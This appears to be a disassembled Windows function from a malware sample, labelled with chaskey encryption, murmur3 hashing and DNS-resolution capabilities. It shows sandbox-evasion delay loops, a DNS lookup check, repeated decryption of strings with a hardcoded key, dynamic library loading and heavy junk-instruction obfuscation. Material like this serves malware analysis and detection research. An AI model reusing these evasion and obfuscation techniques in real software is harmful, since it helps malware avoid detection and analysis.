Function at 0x403520
Capabilities:
Encrypt data using chaskey
Hash data using murmur3
Resolve dns

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
xor edi, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x28], esi
xor ebp, ebp
mov dword [esp + 0x14], esi
mov byte [esp + 0x13], 1
mov dword [esp + 0x1c], esi
jmp 0x403552
xor esi, esi
cmp dword [esp + 0x14], 0xfa
jne 0x403568
push 1
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [esp + 0x14]
mov dword [esp + 0x18], esi
mov dword [esp + 0x24], esi
jmp 0x403582
xor esi, esi
push 0x40b152
call sub.WS2_32.dll_gethostbyname
xor ebx, ebx
mov edi, edi
cmp byte [esp + 0x13], 0
je 0x4035ad
mov byte [esp + 0x13], 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x276d
jne 0x403de1
mov eax, ebx
add ebx, dword [esp + 0x18]
imul eax, ebp
inc eax
imul edi, eax
inc esi
imul ebp, edi
cmp esi, 0xfa0
jl 0x403590
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov edx, eax
imul edx, esi
add ecx, edx
cmp ecx, dword [esp + 0x28]
mov dword [esp + 0x20], ecx
jg 0x4035fa
mov ecx, dword [esp + 0x18]
add eax, dword [esp + 0x1c]
inc ecx
cmp ecx, 0x182b8
mov dword [esp + 0x18], ecx
mov dword [esp + 0x24], eax
jl 0x403580
jmp 0x403601
shl ecx, 5
mov dword [esp + 0x28], ecx
mov eax, dword [esp + 0x1c]
inc eax
cmp eax, 0x186a0
mov dword [esp + 0x1c], eax
jl 0x403550
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.ZYgE6doxzBFlutb
push 0x40d024
call fcn.00401000
add esp, 8
inc ax
rol eax, 6
mov eax, eax
sub bx, 0xb
xor cx, 0x8f
dec eax
neg bx
add eax, ecx
and cx, 0xffff
rol ecx, 0xf
and ax, 0x1d
add cx, 0x58
sub cl, al
shl ax, 0xf
add cl, al
xor al, 0x89
sar cx, 9
not bl
ror ecx, 7
sub ax, cx
ror cl, 0xd
shl bl, 0x13
neg al
and cx, 0x1e
xor eax, ecx
dec bl
ror bx, 0x1e
inc bx
add ebx, eax
nop
neg cl
inc eax
sar cl, 2
inc ax
and cl, 0xff
shl bl, 0xc
add cl, 0x7d
inc eax
ror cx, 6
inc bl
sar bl, 0xe
sub cl, bl
sar ecx, 0x1b
shl cl, 4
xor bl, 0x50
neg bl
inc al
add cx, ax
sar eax, 0x1e
shl eax, 7
or bl, 0x15
push str.ZYgE6doxzBFlutb
push section..data
call fcn.00401000
add esp, 8
neg eax
xor bx, 0x76
rol ecx, 9
sub eax, ebx
rol al, 0x1c
not eax
and ax, 6
inc eax
shl cl, 0x12
xor ax, cx
neg eax
add bl, cl
and al, bl
sar cl, 0x18
not al
nop
or ax, bx
add ebx, 0x50
inc bl
dec cx
add ax, cx
or ecx, eax
and ebx, 0xffffffff
or ax, 0
shl bl, 2
sub cl, 1
sar eax, 0x15
or cl, al
neg ecx
shl al, 0x13
rol cx, 0x12
not bx
ror ecx, 0x14
sar eax, 5
shl bl, 0x1b
or bx, cx
neg ecx
shl ax, 0xc
and ebx, 3
xor ecx, ebx
shl ax, 0x19
inc bl
or cx, bx
neg bl
or ebx, 0
dec al
shl bx, 0xb
ror ebx, 5
add ecx, 0x2c
sar bl, 0x17
nop
rol eax, 0x16
ror bx, 0x13
neg cl
shl eax, 0xd
not al
shl ebx, 0x14
ror bx, 0x15
inc bx
and eax, 0xffffffff
add bx, cx
rol ecx, 0x14
shl cl, 3
rol ebx, 0xd
mov ecx, ecx
add cl, al
dec al
or cl, 0
inc ecx
sub al, cl
inc cl
not al
or ecx, eax
neg cl
or al, 0x1a
add bx, cx
inc cx
sub bl, al
shl ebx, 5
ror eax, 0xd
add ebx, ecx
sub bl, cl
mov bx, bx
inc ecx
or cl, 0x17
ror ecx, 9
not eax
push section..data
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
rol eax, 0x12
and bl, 0x1e
shl cx, 7
inc bl
or ebx, 0
sub bl, 0
or ebx, 0
or al, bl
inc cl
and bx, ax
dec cx
rol bx, 0xf
shl eax, 0x10
rol bl, 0x18
add bx, cx
nop
shl ebx, 2
sub bl, cl
xor ebx, 0x94
or bl, cl
ror eax, 0x17
inc bx
inc bx
add ecx, eax
inc cl
sar bl, 2
sub cl, bl
inc al
or bx, ax
sar cx, 9
neg ecx
neg bx
not bx
add eax, 0x6b
add ebx, 0
shl bl, 4
neg eax
xor eax, ebx
inc bl
sar cl, 0xb
add eax, ecx
sub eax, ecx
sar ebx, 0x11
ror bx, 0xe
xor eax, ecx
rol bx, 0xa
not bx
sar eax, 0x1a
sub cl, al
shl eax, 0x12
and bx, 0x18
or ecx, 0x17
ror bx, 3
or cx, ax
add bl, al
or bl, cl
push str.ZYgE6doxzBFlutb
push 0x40d168
call fcn.00401000
add esp, 8
and cl, al
sar eax, 0xf
shl bx, 2
rol cx, 0x10
nop
shl ecx, 0x15
ror ebx, 0x16
sar ax, 0x14
ror ecx, 0x1a
sub eax, 0x110
nop
dec cl
shl bx, 0x1b
neg eax
ror bx, 0x1c
dec bx
or cx, ax
neg al
not bl
sub eax, ebx
mov al, al
not cx
shl bl, 0x18
neg al
add ecx, ebx
sub eax, 0x3e
ror eax, 3
nop
nop
mov eax, eax
rol cl, 0x10
xor bx, ax
sar bx, 0x11
neg al
and bl, 0xff
ror ax, 5
or bx, ax
neg ebx
sar eax, 0xf
sub cl, bl
sub bl, 0
add al, 8
xor bx, cx
neg bl
not cx
or bl, 0
sub bl, 0x5a
inc bx
shl bl, 0x1c
and bl, 0xff
add bx, 0xa6
ror bl, 1
sar cl, 0xf
and al, 0x16
add bx, 0
and bl, cl
mov eax, eax
sar cl, 4
neg bl
shl bl, 4
push str.ZYgE6doxzBFlutb
push 0x40d18c
call fcn.00401000
add esp, 8
dec eax
add cx, bx
not eax
mov ecx, ecx
or ebx, 6
or bx, 0
sar eax, 3
dec ecx
sub bx, 0
dec ecx
shl eax, 0xe
nop
neg ax
add ebx, 0xa6
or eax, 0x18
sar cl, 0x10
or al, 0
not cl
dec ax
not cl
sar ax, 4
dec bx
sub ebx, 0x92
dec bl
add cx, 0
shl ecx, 0xf
neg al
sar ebx, 0xf
rol bx, 0x19
dec eax
neg bl
or ebx, ecx
or bl, 0
sub al, 0xd8
add ecx, 0
rol bx, 0x10
inc cl
add ax, 0x19
sub bl, 0x7a
shl al, 0x14
xor bl, al
dec eax
ror eax, 3
sar cl, 0xb
and al, cl
shl bx, 0xb
sub cx, 0xa1
or bl, 0
inc ecx
and cl, 0x11
add bx, cx
and bx, 0x19
dec al
xor ecx, ebx
or ax, bx
shl bx, 0xe
sar ecx, 0xe
shl ebx, 0x18
push str.ZYgE6doxzBFlutb
push 0x40d1b0
call fcn.00401000
add esp, 8
rol al, 0x1a
sub bl, 0xf2
inc al
shl bx, 0xf
dec eax
and ecx, 0x19
ror eax, 0xf
add bx, 0x13
and ebx, 3
or eax, ebx
xor eax, 0x62
shl ebx, 0xc
sar al, 0x1c
neg ecx
nop
inc bx
xor cl, 0xd2
and bx, ax
or bl, al
dec ebx
shl al, 0x16
add bx, cx
and ebx, 0xc
shl ecx, 0xa
xor eax, 0xe9
inc bl
shl bl, 0xe
sub eax, 0
neg ebx
sar ecx, 0x17
ror ecx, 5
sub cl, al
rol bl, 0x16
or cx, 6
shl bx, 0x10
shl eax, 0xb
shl cl, 0x17
shl bl, 0xa
neg al
shl bx, 0xf
sub bl, 0x84
add ecx, 0
sar al, 0x14
sub cx, 0
or ecx, ebx
add cl, 0x5d
dec ax
xor bx, cx
ror cl, 0x14
not bx
neg ax
shl bx, 1
sar cl, 0x1b
not eax
inc ecx
or bx, cx
not bx
ror bx, 2
neg bl
mov eax, eax
inc bl
sub cl, 0xd9
inc eax
sub ebx, 0x55
shl bx, 0xd
dec ax
neg cl
dec eax
push str.ZYgE6doxzBFlutb
push 0x40d1d4
call fcn.00401000
push str.ZYgE6doxzBFlutb
push 0x40d21c
call fcn.00401000
push str.ZYgE6doxzBFlutb
push 0x40d264
call fcn.00401000
push str.ZYgE6doxzBFlutb
push 0x40d240
call fcn.00401000
add esp, 0x20
sub ecx, 0xdd
or cl, 0x1b
sar bx, 4
sub bl, 0xdd
sar bl, 3
nop
shl bl, 0xe
add bl, cl
shl ax, 0x13
sub ebx, 0
dec ax
neg bx
inc bl
sub cl, 0x66
not eax
or cl, al
neg ax
ror bx, 0x1b
neg eax
not ecx
sub bx, 0
and al, bl
xor eax, 0xf9
sub bx, cx
sar cl, 0x15
inc bx
not bl
and al, 0x17
and ecx, 0xffffffff
mov bl, bl
sar cl, 0x1b
inc bx
rol eax, 6
sar ebx, 0x16
rol eax, 0xe
shl cx, 1
neg ax
rol bl, 8
ror ebx, 8
or bl, 1
neg ax
or cx, ax
sub cl, 0x52
sar ecx, 0x11
add eax, 0x46
add bl, 0
or ax, 0xf
shl bl, 0x14
inc cl
rol al, 7
and cl, bl
not eax
neg bl
sub eax, ecx
ror bx, 0x1e
dec al
inc ebx
shl bx, 4
neg al
sar bl, 9
mov ebx, ebx
sub ax, 0xb0
sub ecx, 0
add bl, cl
sub bx, ax
rol ebx, 0x10
or bx, 5
xor bx, 0x68
push str.ZYgE6doxzBFlutb
push 0x40d1f8
call fcn.00401000
add esp, 8
add cx, 0
add ax, 0
ror eax, 0xe
sar al, 0x17
ror ecx, 0x11
sar al, 0xb
inc bx
sub ecx, ebx
neg cl
xor ax, 0xe9
shl cx, 9
ror bl, 0xa
shl cl, 0x1e
and bx, cx
rol eax, 0x1b
not ebx
add eax, 0
inc bl
or eax, ebx
inc ax
ror cl, 5
and eax, ebx
add ax, 0x15
neg bx
add bx, 0xd1
neg bl
inc al
add cx, 0
rol bl, 0x1c
ror cl, 1
and eax, ebx
or bl, cl
neg ax
ror cx, 0x17
sub ecx, 0
ror cx, 6
shl ax, 2
sar ebx, 0x17
sub bl, 0
nop
add bx, cx
sar eax, 4
xor cx, ax
or bl, 0
sar ecx, 9
not al
neg ecx
dec eax
add ebx, 0x76
inc bl
add ebx, eax
or bx, ax
ror bl, 0x13
call fcn.004025a0
neg ebx
add bx, cx
shl cx, 0x1e
dec ecx
sub eax, 0x5d
shl cl, 1
add ax, 0x4f
sub bx, 0x86
rol bx, 0xa
sar bx, 0x11
add ebx, 0x105
and ax, 0x15
rol bx, 0x15
inc ebx
add eax, 0x82
ror eax, 0x1b
not cx
sar bx, 8
ror ax, 0xc
dec ebx
ror bl, 0x10
shl eax, 0x1a
shl bl, 0x1b
rol bl, 0xd
ror ebx, 2
and bx, ax
shl al, 0x12
rol ecx, 5
add bx, 0
or cx, 0
rol bl, 0xd
xor eax, ebx
or cl, 7
and bl, 0xff
not ebx
sar al, 0x1c
and bl, cl
or eax, ebx
dec eax
inc ecx
dec ax
shl ecx, 3
inc ax
nop
sar bx, 0x1a
nop
ror ecx, 0x11
sar bl, 0x13
not eax
shl ecx, 0x16
sub eax, 0
nop
and bx, ax
add cl, 0x47
xor ax, 0xa0
nop
inc ax
nop
mov cl, cl
shl ecx, 7
add eax, 0
rol bl, 0xe
dec ebx
and bx, cx
sub eax, ebx
inc ecx
not cx
add bl, 0x20
xor cx, bx
neg bl
dec bl
or ax, 0x1c
shl eax, 0x19
add eax, 0x26
inc eax
or ebx, ecx
not bx
sar cx, 0xd
mov al, al
neg ecx
mov eax, dword [esp + 0x38]
mov ecx, dword [0x40e370]
mov edx, dword [0x40e36c]
push eax
push 0xf
push ecx
push str.ZYgE6doxzBFlutb
push edx
call fcn.00402d30
add esp, 0x10
push eax
mov eax, dword [esp + 0x40]
push eax
call fcn.00401340
add esp, 0xc
sub ax, 0x9b
mov bx, bx
add cl, 0
neg bl
add eax, ecx
or al, cl
sub bx, ax
dec al
shl bx, 0x12
or eax, 0
shl bl, 7
sub al, 0xb3
mov bl, bl
rol bl, 0xe
shl cl, 0x17
sar cl, 8
or eax, 0
and bl, 0xff
shl ax, 0x1d
add cx, bx
sar bx, 7
sub ax, cx
not bl
xor ax, bx
shl ecx, 0xb
ror bl, 6
xor ecx, ebx
sub cx, bx
dec ecx
and cl, bl
shl bl, 0x15
ror ebx, 0x1e
rol bx, 3
mov eax, eax
mov ebx, ebx
inc al
shl cx, 0xd
dec al
sub ebx, 0
ror ecx, 0xd
shl ebx, 0x1c
inc bx
add ebx, eax
inc bx
ror bx, 0x19
or eax, 0
add cl, bl
and bx, cx
add eax, ebx
mov eax, eax
add ebx, 0x65
shl bl, 0x18
rol cx, 0x18
not ax
or ebx, ecx
ror bx, 7
add ax, 0
and ecx, 0xffffffff
inc bx
xor cx, ax
neg eax
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret 0x10